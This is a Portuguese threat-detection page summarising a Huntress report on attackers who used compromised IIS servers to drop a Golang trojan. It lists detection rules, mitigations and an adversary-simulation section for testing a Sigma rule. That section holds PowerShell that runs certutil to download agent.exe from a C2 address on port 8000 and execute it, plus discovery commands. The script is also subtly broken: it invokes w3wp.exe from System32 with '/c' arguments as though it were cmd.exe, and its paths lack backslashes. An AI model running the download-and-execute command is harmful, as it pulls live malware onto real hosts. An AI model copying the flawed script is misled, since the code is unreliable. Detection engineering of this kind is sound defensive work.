Tentativa, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São tão ‘Sofisticados’ Quanto Você Pensa
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O artigo descreve três incidentes separados onde um agente de ameaça utilizou servidores web IIS comprometidos para baixar e executar um Trojan baseado em Golang (agent.exe) nos endpoints das vítimas. Os atacantes tentaram repetidamente a execução, usaram certutil para buscar cargas e posteriormente adicionaram exclusões no Windows Defender antes de tentar estabelecer persistência via um serviço do Windows. A detecção foi alcançada através de logs do EDR e Sysmon, que capturaram linhas de comando, árvores de processo e atividade de rede. Os ataques ilustram como os adversários se adaptam a bloqueios defensivos em vez de seguir um plano infalível.
Investigação
Os analistas da Huntress examinaram os Logs de Eventos do Windows, eventos do Sysmon e logs do servidor web IIS para reconstruir a cadeia de ataque. Eles identificaram a execução inicial de web-shell via w3wp.exe, observaram comandos malformados, tentativas repetidas de entrega de cargas e a criação de um serviço chamado WindowsUpdate que falhou ao iniciar. Vários indicadores, como caminhos de arquivos, linhas de comando e conexões de rede, foram coletados e correlacionados através dos três incidentes.
Mitigação
As principais mitigações incluem fortalecer os servidores IIS, restringir a execução de web-shells, impor listas fortes de permissão de aplicativos, monitorar o uso anormal de LOLBins como certutil e PowerShell, e garantir que as exclusões do Windows Defender não sejam criadas arbitrariamente. Isolamento rápido de hosts comprometidos e remoção de ferramentas despejadas como GotoHTTP também são recomendados.
Resposta
Após a detecção, os respondedores devem isolar o endpoint afetado, coletar logs completos de árvore de processos e de rede, deletar quaisquer binários maliciosos, reverter exclusões não autorizadas do Windows Defender e verificar falhas na criação de serviços. Conduza uma revisão completa do servidor web em busca de páginas comprometidas e rotacione todas as credenciais comprometidas.
Fluxo de Ataque
Detecções
Atribuir Execução para Ocultar Arquivos (via cmdline)
Ver
Executável Suspeito Contendo Apenas Números no Nome (via cmdline)
Ver
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Ver
Usando Certutil para Codificação de Dados e Operações de Certificados (via cmdline)
Ver
Arquivos Suspeitos no Perfil Público do Usuário (via file_event)
Ver
Execução Suspeita do Perfil Público do Usuário (via process_creation)
Ver
IOCs (SourceIP) para detectar: Teste, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São Tão ‘Sofisticados’ Quanto Você Pensa
Ver
IOCs (HashSha256) para detectar: Teste, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São Tão ‘Sofisticados’ Quanto Você Pensa
Ver
IOCs (DestinationIP) para detectar: Teste, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São Tão ‘Sofisticados’ Quanto Você Pensa
Ver
Detecção de Requisições POST Maliciosas no Servidor Web [Servidor Web]
Ver
Detectar Execução de Linha de Comando a partir do Processo do Servidor Web [Criação de Processo do Windows]
Ver
Execução de Simulação
Requisito: O Check de Pré-Voo de Telemetria & Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um invasor que já ganhou execução de código em um servidor IIS comprometido utiliza ow3wp.exeprocesso (trabalhador IIS) para executar uma série de proxies binários assinados. Primeiro, enumeram o sistema e o estado da rede (whoami.exe,netstat -an,ipconfig /all). Então, eles usamcertutil.exepara baixar uma carga maliciosa (agent.exe) de um servidor C2 remoto e imediatamente a executam no diretório público do usuário. Todos os comandos são emitidos viacmd.exe /clançado sob o contexto dew3wp.exe, garantindo que o evento de criação de processo corresponda às condições da regra.# 1. Enumerar informações do sistema/usuário Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Baixar carga maliciosa via certutil e executá-la $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Script de Teste de Regressão: O script abaixo automatiza toda a cadeia de ataque, reproduzindo a telemetria exata que deve acionar a regra Sigma.
<# .SYNOPSIS Simula atividade adversária que aciona a regra Sigma "Detectar Execução de Linha de Comando do Processo do Servidor Web". .DESCRIPTION Executa uma série de comandos de descoberta e download-e-execução a partir do processo trabalhador do IIS (w3wp.exe). Execute em um host Windows onde a auditoria de criação de processos (ID de Evento 4688) está habilitada. #> # Função para invocar um comando via w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invocando via w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Comandos de Descoberta (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Download-e-execução maliciosa (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Comandos de Limpeza: Remova a carga baixada e termine quaisquer processos residuais.
# Delete o binário malicioso do agente Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Opcionalmente pare o agente se ainda estiver em execução Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force